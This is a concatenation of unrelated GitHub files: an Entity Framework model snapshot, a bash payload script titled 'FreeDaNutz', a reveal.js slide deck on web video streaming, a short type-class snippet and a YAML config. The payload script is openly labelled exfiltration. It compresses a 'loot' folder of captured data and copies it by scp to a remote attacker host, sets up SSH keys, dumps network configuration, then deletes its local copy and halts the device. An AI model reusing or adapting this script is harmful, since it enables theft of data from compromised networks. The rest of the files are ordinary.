b.ToTable("AbpUserNotifications");
});
modelBuilder.Entity("Abp.Organizations.OrganizationUnit", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("Code")
.IsRequired()
.HasMaxLength(95);
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<long?>("DeleterUserId");
b.Property<DateTime?>("DeletionTime");
b.Property<string>("DisplayName")
.IsRequired()
.HasMaxLength(128);
b.Property<bool>("IsDeleted");
b.Property<DateTime?>("LastModificationTime");
b.Property<long?>("LastModifierUserId");
b.Property<long?>("ParentId");
b.Property<int?>("TenantId");
b.HasKey("Id");
b.HasIndex("ParentId");
b.ToTable("AbpOrganizationUnits");
});
modelBuilder.Entity("Volo.PostgreSqlDemo.Authorization.Roles.Role", b =>
{
b.Property<int>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("ConcurrencyStamp");
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<long?>("DeleterUserId");
b.Property<DateTime?>("DeletionTime");
b.Property<string>("Description")
.HasMaxLength(5000);
b.Property<string>("DisplayName")
.IsRequired()
.HasMaxLength(64);
b.Property<bool>("IsDefault");
b.Property<bool>("IsDeleted");
b.Property<bool>("IsStatic");
b.Property<DateTime?>("LastModificationTime");
b.Property<long?>("LastModifierUserId");
b.Property<string>("Name")
.IsRequired()
.HasMaxLength(32);
b.Property<string>("NormalizedName")
.IsRequired()
.HasMaxLength(32);
b.Property<int?>("TenantId");
b.HasKey("Id");
b.HasIndex("CreatorUserId");
b.HasIndex("DeleterUserId");
b.HasIndex("LastModifierUserId");
b.ToTable("AbpRoles");
});
modelBuilder.Entity("Volo.PostgreSqlDemo.Authorization.Users.User", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<int>("AccessFailedCount");
b.Property<string>("AuthenticationSource")
.HasMaxLength(64);
b.Property<string>("ConcurrencyStamp");
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<long?>("DeleterUserId");
b.Property<DateTime?>("DeletionTime");
b.Property<string>("EmailAddress")
.IsRequired()
.HasMaxLength(256);
b.Property<string>("EmailConfirmationCode")
.HasMaxLength(328);
b.Property<bool>("IsActive");
b.Property<bool>("IsDeleted");
b.Property<bool>("IsEmailConfirmed");
b.Property<bool>("IsLockoutEnabled");
b.Property<bool>("IsPhoneNumberConfirmed");
b.Property<bool>("IsTwoFactorEnabled");
b.Property<DateTime?>("LastLoginTime");
b.Property<DateTime?>("LastModificationTime");
b.Property<long?>("LastModifierUserId");
b.Property<DateTime?>("LockoutEndDateUtc");
b.Property<string>("Name")
.IsRequired()
.HasMaxLength(32);
b.Property<string>("NormalizedEmailAddress")
.IsRequired()
.HasMaxLength(256);
b.Property<string>("NormalizedUserName")
.IsRequired()
.HasMaxLength(32);
b.Property<string>("Password")
.IsRequired()
.HasMaxLength(128);
b.Property<string>("PasswordResetCode")
.HasMaxLength(328);
b.Property<string>("PhoneNumber");
b.Property<string>("SecurityStamp");
b.Property<string>("Surname")
.IsRequired()
.HasMaxLength(32);
b.Property<int?>("TenantId");
b.Property<string>("UserName")
.IsRequired()
.HasMaxLength(32);
b.HasKey("Id");
b.ToTable("AbpUsers");
});
modelBuilder.Entity("Volo.PostgreSqlDemo.MultiTenancy.Tenant", b =>
{
b.Property<int>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("ConnectionString")
.HasMaxLength(1024);
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<long?>("CreatorUserId1");
b.Property<long?>("DeleterUserId");
b.Property<long?>("DeleterUserId1");
b.Property<DateTime?>("DeletionTime");
b.Property<int?>("EditionId");
b.Property<bool>("IsActive");
b.Property<bool>("IsDeleted");
b.Property<DateTime?>("LastModificationTime");
b.Property<long?>("LastModifierUserId");
b.Property<long?>("LastModifierUserId1");
b.Property<string>("Name")
.IsRequired()
.HasMaxLength(128);
b.Property<string>("TenancyName")
.IsRequired()
.HasMaxLength(64);
b.HasKey("Id");
b.HasIndex("CreatorUserId1");
b.HasIndex("DeleterUserId1");
b.HasIndex("EditionId");
b.HasIndex("LastModifierUserId1");
b.ToTable("AbpTenants");
});
modelBuilder.Entity("Abp.Application.Features.EditionFeatureSetting", b =>
{
b.HasBaseType("Abp.Application.Features.FeatureSetting");
b.Property<int>("EditionId");
b.HasIndex("EditionId");
b.ToTable("AbpFeatures");
b.HasDiscriminator().HasValue("EditionFeatureSetting");
});
modelBuilder.Entity("Abp.MultiTenancy.TenantFeatureSetting", b =>
{
b.HasBaseType("Abp.Application.Features.FeatureSetting");
b.ToTable("AbpFeatures");
b.HasDiscriminator().HasValue("TenantFeatureSetting");
});
modelBuilder.Entity("Abp.Authorization.Roles.RolePermissionSetting", b =>
{
b.HasBaseType("Abp.Authorization.PermissionSetting");
b.Property<int>("RoleId");
b.HasIndex("RoleId");
b.ToTable("AbpPermissions");
b.HasDiscriminator().HasValue("RolePermissionSetting");
});
modelBuilder.Entity("Abp.Authorization.Users.UserPermissionSetting", b =>
{
b.HasBaseType("Abp.Authorization.PermissionSetting");
b.Property<long>("UserId");
b.HasIndex("UserId");
b.ToTable("AbpPermissions");
b.HasDiscriminator().HasValue("UserPermissionSetting");
});
modelBuilder.Entity("Abp.Authorization.Roles.RoleClaim", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Roles.Role")
.WithMany("Claims")
.HasForeignKey("RoleId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Abp.Authorization.Users.UserClaim", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User")
.WithMany("Claims")
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Abp.Authorization.Users.UserLogin", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User")
.WithMany("Logins")
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Abp.Authorization.Users.UserRole", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User")
.WithMany("Roles")
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Abp.Authorization.Users.UserToken", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User")
.WithMany("Tokens")
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Abp.Configuration.Setting", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User")
.WithMany("Settings")
.HasForeignKey("UserId");
});
modelBuilder.Entity("Abp.EntityHistory.EntityChange", b =>
{
b.HasOne("Abp.EntityHistory.EntityChangeSet")
.WithMany("EntityChanges")
.HasForeignKey("EntityChangeSetId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Abp.EntityHistory.EntityPropertyChange", b =>
{
b.HasOne("Abp.EntityHistory.EntityChange")
.WithMany("PropertyChanges")
.HasForeignKey("EntityChangeId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Abp.Organizations.OrganizationUnit", b =>
{
b.HasOne("Abp.Organizations.OrganizationUnit", "Parent")
.WithMany("Children")
.HasForeignKey("ParentId");
});
modelBuilder.Entity("Volo.PostgreSqlDemo.Authorization.Roles.Role", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User", "CreatorUser")
.WithMany()
.HasForeignKey("CreatorUserId");
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User", "DeleterUser")
.WithMany()
.HasForeignKey("DeleterUserId");
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User", "LastModifierUser")
.WithMany()
.HasForeignKey("LastModifierUserId");
});
modelBuilder.Entity("Volo.PostgreSqlDemo.MultiTenancy.Tenant", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User", "CreatorUser")
.WithMany()
.HasForeignKey("CreatorUserId1");
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User", "DeleterUser")
.WithMany()
.HasForeignKey("DeleterUserId1");
b.HasOne("Abp.Application.Editions.Edition", "Edition")
.WithMany()
.HasForeignKey("EditionId");
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User", "LastModifierUser")
.WithMany()
.HasForeignKey("LastModifierUserId1");
});
modelBuilder.Entity("Abp.Application.Features.EditionFeatureSetting", b =>
{
b.HasOne("Abp.Application.Editions.Edition", "Edition")
.WithMany()
.HasForeignKey("EditionId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Abp.Authorization.Roles.RolePermissionSetting", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Roles.Role")
.WithMany("Permissions")
.HasForeignKey("RoleId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Abp.Authorization.Users.UserPermissionSetting", b =>
{
b.HasOne("Volo.PostgreSqlDemo.Authorization.Users.User")
.WithMany("Permissions")
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade);
});
#pragma warning restore 612, 618
}
}
}
| {
"pile_set_name": "Github"
} |
#!/bin/bash
#
# Title: FreeDaNutz
# Description: This payload will compress the loot folder and then send that file to a remote server via scp
# Author: infoskirmish.com
# Version: 1.0
# Category: exfiltration
# Target: Any
# Net Mode: NAT
# LEDs
# FAIL: This payload will LED FAIL (blink RED) for the following reasons
# No USB storage found
# Cannot send files to remote host
# Cannot ping remote host
# ATTACK: Setting NAT: Blink Yellow
# Compressing: Rapid Cyan
# Sending: Rapid Magenta
# Cleaning up: Rapid White
# SUCCESS: LED goes off
exfilhost="xx.xx.xx.xx" # The hostname or ip address you want to send the data to.
exfilhostuser="root" # The username of the account for the above hostname
sshport="22" # Port to send data out on
exfilfile="backup.tar.gz" # The name of the compressed loot folder
identityfile="/root/.ssh/id_rsa" # Path to private identity file on the squirrel
remotepath="/root/$exfilfile" # Path to filename (include file name) on the remote machine.
exfilfilepath="/mnt/$exfilfile" # Location to temp store compressed loot (this gets sent)
lootfolderpath="/mnt/loot" # Path to loot folder
payloadlogpath="/mnt/loot/freedanutz" # Path to store payload log file
# The main run function.
# Inputs: None
# Returns: None
# Upon success it will call the finish() function to shutdown.
function run() {
# Create log directory
# We store the tarball on /mnt outside the /mnt/loot folder in order to make sure we do not use up all the limited space on the device itself.
if [ ! -d $payloadlogpath ]; then
# If log path does not exisit then we should create it.
mkdir -p $payloadlogpath &> /dev/null
fi
# Set networking to NAT mode and wait eight seconds
NETMODE NAT
sleep 8
# If we cannot reach the server we want to send our data to then there is no point in going any further.
ping $exfilhost -w 3 &> /dev/null
pingtest=$?
if [ $pingtest -ne 0 ]; then
debugdata
fail "FATAL ERROR: Cannot reach $exfilhost"
fi
# Let's test to make sure scp keys are set up correclty and we can send files before we send loot.
testssh
# Start blinking LED Cyan very fast to indicate compressing is in progress.
LED C VERYFAST
# Compress the loot folder
echo "tar -czf $exfilfilepath $lootfolderpath" >> $payloadlogpath/log.txt
tar -czf $exfilfilepath $lootfolderpath &> /dev/null
# Start blinking LED Magenta very fast to indicate sending is in progress.
LED M VERYFAST
# Send compress file out into the world.
echo "scp -P $sshport -C -i $identityfile $exfilfilepath $exfilhostuser@$exfilhost:$remotepath" >> $payloadlogpath/log.txt
scp -P $sshport -C -i $identityfile $exfilfilepath $exfilhostuser@$exfilhost:$remotepath &> /dev/null
# Clean up
finish
}
# A function to clean up files and safely shutdown
# Inputs: None
# Returns: None
function finish() {
# Remove the file we have sent out as it is no longer needed and just taking up space.
echo "Removing $exfilfilepath" >> $payloadlogpath/log.txt
rm $exfilfilepath
sync
# Halt the system; turn off LED
LED OFF
halt
}
# A function to test if the payload can send files to the remote host.
# Inputs: None
# Returns: None
# On test fail will abort script.
function testssh() {
# Create test file.
touch $exfilfilepath.test
scp -P $sshport -C -i $identityfile $exfilfilepath.test $exfilhostuser@$exfilhost:$remotepath &> /dev/null
error=$?
if [ $error -ne 0 ]; then
# We could not send test file; this is a fatal error.
rm $exfilfilepath.test
debugdata
fail "FATAL ERROR: Could not access and/or login to $exfilhostuser@$exfilhost remove path = $remotepath"
else
# Be nice and try to remove the test file we uploaded.
ssh $exfilhostuser@$exfilhost 'rm $remotepath.test'
rm $exfilfilepath.test
fi
}
# A function to standardize how fatal errors fail.
# Inputs: $1:Error message
# Returns: None
# This will abort the script.
function fail() {
LED FAIL
echo $1 >> $payloadlogpath/log.txt
sync
halt
}
# A function to dump data to aid in trouble shooting problems.
# Inputs: None
# Returns: None
function debugdata() {
echo "=== DEBUG DATA ===" >> $payloadlogpath/log.txt
ifconfig >> $payloadlogpath/log.txt
echo "=== Scp Command ===" >> $payloadlogpath/log.txt
echo "scp -P $sshport -C -i $identityfile $exfilfilepath $exfilhostuser@$exfilhost:$remotepath" >> $payloadlogpath/log.txt
echo "=== Tar Command ===" >> $payloadlogpath/log.txt
echo "tar -czf $exfilfilepath $lootfolderpath &> /dev/null" >> $payloadlogpath/log.txt
echo "=== Public Key Dump ===" >> $payloadlogpath/log.txt
cat $identityfile.pub >> $payloadlogpath/log.txt
echo "=== Network Config Dump ===" >> $payloadlogpath/log.txt
cat /etc/config/network >> $payloadlogpath/log.txt
echo "=== Ping $exfilhost Results ===" >> $payloadlogpath/log.txt
echo "If there is no data it likely means that $exfilhost is a bad address." >> $payloadlogpath/log.txt
ping $exfilhost -w 3 >> $payloadlogpath/log.txt
echo "=== lsusb Dump ===" >> $payloadlogpath/log.txt
lsusb >> $payloadlogpath/log.txt
}
# Zero out payload log file.
echo "" > $payloadlogpath/log.txt
# This payload will only run if we have USB storage
if [ -d "/mnt/loot" ]; then
# Check to see if the .ssh folder exists. If it does not exist then create it.
if [ ! -d "/root/.ssh" ]; then
# If it doesn't then we need to create it.
echo "Warning: /root/.ssh folder did not exits. We created it." >> $payloadlogpath/log.txt
mkdir -p /root/.ssh &> /dev/null
fi
# Check if identity file exists. If not create it.
if [ ! -f $identityfile ]; then
# We need to log a warning that since the identify file was not found then this payload likely will fail. This payload will give the user a likely way to fix this problem.
echo "Warning: We had to create $identityfile" >> $payloadlogpath/log.txt
echo "To complete setup you'll likely need to run this command on the squirrel (make sure when you do your squirrel can access $exfilhost)" >> $payloadlogpath/log.txt
echo "cat $identityfile.pub | ssh $exfilhostuser@$exfilhost 'cat >> .ssh/authorized_keys'" >> $payloadlogpath/log.txt
ssh-keygen -t rsa -N "" -f $identityfile
fi
LED ATTACK
run
else
# USB storage could not be found; log it in ~/payload/switch1/log.txt
payloadlogpath="log.txt"
debugdata
fail "Could not load USB storage. Stopping..."
fi
| {
"pile_set_name": "Github"
} |
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>reveal.js - The HTML Presentation Framework</title>
<meta name="description" content="A framework for easily creating beautiful presentations using HTML">
<meta name="author" content="Hakim El Hattab">
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, minimal-ui">
<link rel="stylesheet" href="reveal.js-3.1.0/css/reveal.css">
<link rel="stylesheet" href="reveal.js-3.1.0/css/theme/blood.css" id="theme">
<!-- Code syntax highlighting -->
<link rel="stylesheet" href="reveal.js-3.1.0/lib/css/zenburn.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? 'css/print/pdf.css' : 'css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
<!--[if lt IE 9]>
<script src="lib/js/html5shiv.js"></script>
<![endif]-->
<style>
.red { color: red; }
.lime { color: lime; }
.orange { color: orange; }
</style>
</head>
<body>
<div class="reveal">
<!-- Any section element inside of this container is displayed as a slide -->
<div class="slides">
<section>
<h1>Let's Make a Netflix</h1>
<h3>An Intro to Streaming Media on the Web</h3>
<p>
<small><a href="https://nickdesaulniers.github.io/">Nick Desaulniers</a> / <a href="http://twitter.com/lostoracle">@LostOracle</a></small>
</p>
</section>
<section>
<h2>Topics</h2>
<p class="fragment">Terminology</p>
<p class="fragment">Transcoding</p>
<p class="fragment">Audio & Video tags</p>
<p class="fragment">MSE</p>
<p class="fragment">DASH</p>
</section>
<section>
<section>
<h2>Terminology</h2>
</section>
<section>
<h2>Pulse Coded Modulation</h2>
Audio PCM streams are made up of a sample rate: how frequently the
amplitude is measured (ex. 320 Mbps), and bit depth: how many
possible digital values can be represented by one sample.
</section>
<section>
<h2>Compression</h2>
The Digital to Audio Converter (DAC) on your computer's soundcard
expects PCM (HD Audio or AC'97), but PCM is large and therefore
expensive to store and transmit.
</section>
<section>
<h2>Lossy vs Lossless Compression</h2>
<p>
Lossless compression allows us to more efficiently represent the
same uncompressed data and also sounds fantastic on your expensive
audio equipment.
</p>
<p>
Lossy compression sacrifices fidelity for
size and allows you to store thousands of songs on your phone.
</p>
</section>
<section>
<h2>Lossy vs Lossless Compression</h2>
<p>Lossless to lossy is a one way conversion</p>
<p>You cannot get back fidelity once it's been thrown away</p>
<img src="enhance.png" alt="enhance"/>
</section>
<section>
<h2>Codecs</h2>
Codecs are how the media data is represented, or encoded. Some
codecs are lossy like MP3, some are lossless like FLAC. Most codecs
are encumbered by patents. :(
</section>
<section>
<h2>Containers</h2>
Containers such as WAV, MP4, and Ogg represent the meta-data of a
media file such as artist or duration, subtitles, etc. Containers,
in addition to their meta-data, will contain streams of audio or
video encoded via a specific codec.
</section>
<section>
<h2>File Extension</h2>
Sometimes used by OS to determine what program should open what file.
Unreliable; anyone can change the file extension of a given file, but
that does not change the encoding (how the bits are arranged) or the
container (how the meta-data and streams are packaged).
</section>
<section>
<h2>Playlists</h2>
Playlist files are used by media playing applications to play
subsequent mediums. Browsers do not understand playlist files, but
playlist files can easily be
<a href="https://github.com/nickdesaulniers/javascript-playlist-parser">parsed</a>
in JavaScript.
</section>
<section>
<h2>Protocol</h2>
How are the bits transferred from one machine to another? On the
Web, HTTP is the most familiar, but there are other protocols used
when streaming media such as RTSP and ICY.
</section>
<section>
<h2>Know Your Terms</h2>
Codecs, containers, file extensions, playlist files, and protocols
are not equivalent. Ex. Media A could be aac encoded, in an MP4
container, with a .m4a extension, listed in a m3u playlist file,
served over ICY.
</section>
<section>
<h2>Hardware Acceleration</h2>
Media can be decoded in software or in hardware. Application
Specific Integrated Circuits (ASICs) can be faster and more power
efficient than General Purpose Processors. Mobile friendly. They
can also be patent encumbered.
</section>
</section>
<section>
<section>
<h2>Transcoding</h2>
</section>
<section>
<h2>Why?</h2>
<ul>
<li>Not all browsers support all codecs.</li>
<li>A lossy to lossy conversion is preferable to asking the user to install
a different browser.</li>
<li>If storage is cheaper than bandwidth, also preferable.</li>
</ul>
</section>
<section>
<h2>FFmpeg</h2>
<p>Your free and Open Source transcoding swiss army knife.</p>
<pre>
<code>
$ ffmpeg -h full 2>/dev/null| wc -l
5424
</code>
</pre>
</section>
<section>
<h2>The Extreme Basics</h2>
<pre><code class="bash">
ffmpeg -i input.wav output.mp3
ffmpeg -i input.y4m -i input.wav output.webm
</code></pre>
</section>
<section>
<h2>Codec support</h2>
<p><code class="lime">ffmpeg -codecs</code> will tell you if you can decode from one codec and encode into another.</p>
<pre><code class="lasso">
$ ffmpeg -codecs
DEV.LS h264 H.264 / AVC / MPEG-4 AVC / MPEG-4 part 10 (decoders: h264 h264_vda ) (encoders: libx264 libx264rgb )
DEV.L. vp8 On2 VP8 (decoders: vp8 libvpx ) (encoders: libvpx )
DEV.L. vp9 Google VP9 (decoders: vp9 libvpx-vp9 ) (encoders: libvpx-vp9 )
DEA.L. mp3 MP3 (MPEG audio layer 3) (decoders: mp3 mp3float ) (encoders: libmp3lame )
DEA.L. opus Opus (Opus Interactive Audio Codec) (decoders: opus libopus ) (encoders: libopus )
</code></pre>
<p class="fragment">If you're missing an expected encoder/decoder, you probably need to install a shared library and rebuild/reinstall ffmpeg. Not fun.</p>
</section>
<section>
<h2>FFmpeg</h2>
<p><code class="lime">ffmpeg -i input.file</code> will tell you a lot about a file.</p>
<!-- idk what lasso is, highlight.js makes it look fun! -->
<pre><code class="lasso">
$ ffmpeg -i bunny.mp4
Duration: 00:01:00.10 ...
Stream #0:0(eng): Audio: aac ... 22050 Hz, stereo, ... 65 kb/s
Stream #0:1(eng): Video: h264 ... 640x360, 612 kb/s, 23.96 fps ...
</code></pre>
</section>
<section>
<h2>Multiplexing</h2>
<p>aka muxing</p>
<pre><code class="lasso">
$ ffmpeg -i bunny.mp4
Stream #0:0(eng): Audio: aac ... 22050 Hz, stereo, ... 65 kb/s
Stream #0:1(eng): Video: h264 ... 640x360, 612 kb/s, 23.96 fps ...
Stream #0:2(eng): Data: none (rtp / 0x20707472), 45 kb/s
Stream #0:3(eng): Data: none (rtp / 0x20707472), 5 kb/s
$ ffmpeg -i bunny.mp4 -map 0:0 -map 0:1 -c copy bunny_clean.mp4
$ ffmpeg -i bunny_clean.mp4
Stream #0:0(eng): Audio: aac ... 22050 Hz, stereo, ... 65 kb/s
Stream #0:1(eng): Video: h264 ... 640x360, 612 kb/s, 23.96 fps ...
</code></pre>
</section>
</section>
<section>
<section>
<h2>Audio & Video Tags</h2>
</section>
<section>
<h2>AudioStream</h2>
<p><a href="https://github.com/nickdesaulniers/audiostream">A long time ago, I wanted to build iTunes in the browser.</a></p>
<img src="audiostream2.png" alt="audio stream application"/>
</section>
<section>
<h2>AudioStream</h2>
<img src="audiostream-arch.png" alt="Diagram of the architecture of audiostream"/>
</section>
<section>
<h2>Byte Range Requests</h2>
<p>A browser will make Byte Range Requests on behalf of a media element to
buffer content.</p>
<small>
<p>Request Headers:</p>
<ul>
<li>Range: bytes=0-</li>
</ul>
<p>Response Headers:</p>
<ul>
<li>Content-Length: 1024</li>
<li>Content-Range: 0-1023:4096</li>
</ul>
</small>
</section>
<section>
<h2>What if we want finer grain control over loading assets?</h2>
<p class="fragment">Why?</p>
<p class="fragment">Video is easily an order of magnitude larger in file size than audio.</p>
<p class="fragment">Waste of bandwidth if user downloads entire file, but watches only a part.</p>
</section>
<section>
<h2>Binary Data</h2>
<pre><code class="javascript">
var xhr = new XMLHttpRequest;
xhr.open('GET', 'song.mp3');
xhr.responseType = 'arraybuffer';
xhr.onload = function () {
var audio = new Audio;
audio.src = URL.createObjectURL(new Blob([xhr.response], {
type: 'audio/mpeg' }));
audio.oncanplaythrough = audio.play.bind(audio);
};
xhr.send();
</code></pre>
<p class="fragment">plus byte range requests?</p>
</section>
<section>
<h2>Binary data + byte range requests</h2>
<p>
Audio tags don't let us combine arraybuffers, they require one
contiguous arraybuffer. Web Audio API can help here.
</p>
<p class="fragment">But...</p>
<p class="fragment">
Results in audible clicks between segments. Finding the proper range
to segment by is very difficult. Web Audio API does not help here.
</p>
</section>
</section>
<section>
<section>
<h2>MSE</h2>
</section>
<section>
<h2>Browser Support</h2>
<small>MediaSource.isTypeSupported()</small>
<small>
<a href="http://www.w3.org/TR/media-source/byte-stream-format-registry.html">MSE Byte Stream Format Registry</a>,
</small>
<small>
<a href="http://www.leanbackplayer.com/test/h5mt.html">Notes</a>
</small>
<table style="transform: scale(0.75) translateX(-6em);">
<thead>
<tr>
<th>Browser</th>
<th>video/mp4</th>
<th>video/webm</th>
<th>video/mp2t</th>
<th>audio/mpeg</th>
<th>audio/aac</th>
</tr>
</thead>
<tbody>
<tr>
<td>Chrome<small style="vertical-align: baseline;">45</small></td>
<td class="lime">✓</td>
<td class="lime">✓*</td>
<td class="red">✗</td>
<td class="lime">✓</td>
<td class="lime">✓</td>
</tr>
<tr>
<td>Firefox <small style="vertical-align: baseline;">38</small></td>
<td class="lime">✓**</td>
<td class="red">✗</td>
<td class="red">✗</td>
<td class="red">✗</td>
<td class="red">✗</td>
</tr>
<tr>
<td>IE <small style="vertical-align: baseline;">11</style></td>
<td class="lime">✓</td>
<td class="red">✗</td>
<td class="lime">✓</td>
<td class="red">✗</td>
<td class="lime">✓</td>
</tr>
<tr>
<td>Opera <small style="vertical-align: baseline;">30</small></td>
<td class="lime">✓*</td>
<td class="lime">✓*</td>
<td class="red">✗</td>
<td class="red">✗</td>
<td class="red">✗</td>
</tr>
<tr>
<td>Safari <small style="vertical-align: baseline;">8</small></td>
<td class="lime">✓*</td>
<td class="red">✗</td>
<td class="red">✗</td>
<td class="red">✗</td>
<td class="red">✗</td>
</tr>
</tbody>
</table>
<p style="margin-top: -1em;">
<small>* Needs codec specified MediaSource.isTypeSupported('mime; codecs=""'); <a href="https://wiki.whatwg.org/wiki/Video_type_parameters#MPEG-4">List</a></small>
<small>** whitelisted to very few sites like YouTube, FF 38-41/42? Test in Nightly, media.mediasource.whitelist -> false in about:config</small>
</p>
</section>
<section>
<h2>A note about mp4</h2>
<p>mp4 needs to be "fragmented." <a href="http://www.w3.org/TR/media-source/isobmff-byte-stream-format.html#iso-init-segments">From ISO BMFF Byte Stream Format §3</a>:</p>
<blockquote>An ISO BMFF initialization segment is defined in this specification as a single File Type Box (<span class="lime">ftyp</span>) followed by a single Movie Header Box (<span class="lime">moov</span>).</blockquote>
<p class="fragment">wut?</p>
</section>
<section>
<h4>How to check if your mp4 is properly fragmented</h4>
<p>I highly recommend <a href="https://github.com/axiomatic-systems/Bento4">axiomatic-systems/Bento4</a> on GitHub.</p>
<pre>
$ ./mp4dump ~/Movies/devtools.mp4 | head
[<span class="red">ftyp</span>] size=8+24
...
[<span class="red">free</span>] size=8+0
[<span class="red">mdat</span>] size=8+85038690
[<span class="red">moov</span>] size=8+599967
...
</pre>
<p class="fragment">...<span class="lime">ftype</span> followed by a single <span class="lime">moov</span>...</p>
</section>
<section>
<h4>How to make your mp4 properly fragmented</h4>
<pre>
$ ./mp4fragment ~/Movies/devtools.mp4 devtools_fragmented.mp4
$ ./mp4dump devtools_fragmented.mp4 | head
[<span class="lime">ftyp</span>] size=8+28
...
[<span class="lime">moov</span>] size=8+1109
...
[<span class="orange">moof</span>] size=8+600
...
[<span class="orange">mdat</span>] size=8+138679
[<span class="orange">moof</span>] size=8+536
...
[<span class="orange">mdat</span>] size=8+24490
...
...
</pre>
<p>...<span class="lime">ftype</span> followed by a single <span class="lime">moov</span>...</p>
<p>You'll also notice multiple <span class="orange">moof</span>/<span class="orange">mdat</span> pairs.</p>
<p>When transcoding with ffmpeg, you'll want the flag: -movflags frag_keyframe+empty_moov</p>
</section>
<section>
<h2>HTMLMediaElement</h2>
<img src="audio_tag.png" alt="audio tag url relationship"/>
</section>
<section>
<h2>Media Source Extensions</h2>
<img src="mse_rel.png" alt="media source extension relationship"/>
</section>
<section>
<h2>MSE pseudocode</h2>
<pre><code class="coffeescript">
m = MediaSource
m.onsourceopen = () =>
s = m.addSourceBuffer 'codec'
s.onupdateend = () =>
if numChunks === totalChunks
m.endOfStream()
else
s.appendBuffer nextChunk
s.appendBuffer arrayBufferOfContent
video.src = URL.createObjectURL m
</code></pre>
</section>
<section>
<h2><a href="demo/bufferAll.html">Demo: buffer ASAP</a></h2>
</section>
<section>
<h2><a href="demo/bufferWhenNeeded.html">Demo: Buffer just in time</a></h2>
</section>
</section>
<section>
<section>
<h2>DASH</h2>
</section>
<section>
<h2>Adaptive Bitrate Streaming</h2>
<img src="abs_ema.png" alt="the gist of serving a segment of certain quality based on an exponential moving average of the measured bandwidth"/>
</section>
<section>
<h2>Asset pipeline</h2>
<img src="asset_pipeline.png" alt="How to generate all of the assets">
</section>
<section>
<h2>Browser caching</h2>
<p>Some browsers over-aggresively cache CORS related content.</p>
<p>In Safari, Develop > Empty Caches or Disable Caches</p>
<p>In Firefox 41, enable private browsing.</p>
</section>
<section>
<h2>DASH demo</h2>
<p>bugs</p>
<ul>
<li>
<a href="https://github.com/Dash-Industry-Forum/dash.js/issues/492">dash.js & Safari</a>
</li>
<li>
<a href="https://github.com/google/shaka-player/issues/101">shaka & Firefox</a>
</li>
</ul>
</section>
<section>
<h2>Live streaming</h2>
<a href="http://www.w3.org/TR/media-source/#widl-SourceBuffer-appendStream-void-ReadableStream-stream-unsigned-long-long-maxSize">SourceBuffer.prototype.appendStream</a>
</section>
</section>
</div>
<script src="reveal.js-3.1.0/lib/js/head.min.js"></script>
<script src="reveal.js-3.1.0/js/reveal.js"></script>
<script>
// Full list of configuration options available at:
// https://github.com/hakimel/reveal.js#configuration
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: true,
transition: 'slide', // none/fade/slide/convex/concave/zoom
// Optional reveal.js plugins
dependencies: [
{ src: 'reveal.js-3.1.0/lib/js/classList.js', condition: function() { return !document.body.classList; } },
//{ src: 'reveal.js-3.1.0/plugin/markdown/marked.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } },
//{ src: 'reveal.js-3.1.0/plugin/markdown/markdown.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } },
{ src: 'reveal.js-3.1.0/plugin/highlight/highlight.js', async: true, condition: function() { return !!document.querySelector( 'pre code' ); }, callback: function() { hljs.initHighlightingOnLoad(); } },
//{ src: 'reveal.js-3.1.0/plugin/zoom-js/zoom.js', async: true },
//{ src: 'reveal.js-3.1.0/plugin/notes/notes.js', async: true }
]
});
</script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
type Maybe a
= Nothing
| Just a
type Maybe2 a
= Nothing
| Just a
class Pointed f where
point : forall a. a -> f a
instance Pointed Maybe where
point : forall a. a -> Maybe a
point = Just
| {
"pile_set_name": "Github"
} |
system_configuration:
groups:
google_settings:
icon: fa-google
title: oro.google_integration.system_configuration.groups.google_settings.title
google_integration_settings:
title: oro.google_integration.system_configuration.groups.google_integration_settings.title
priority: 50
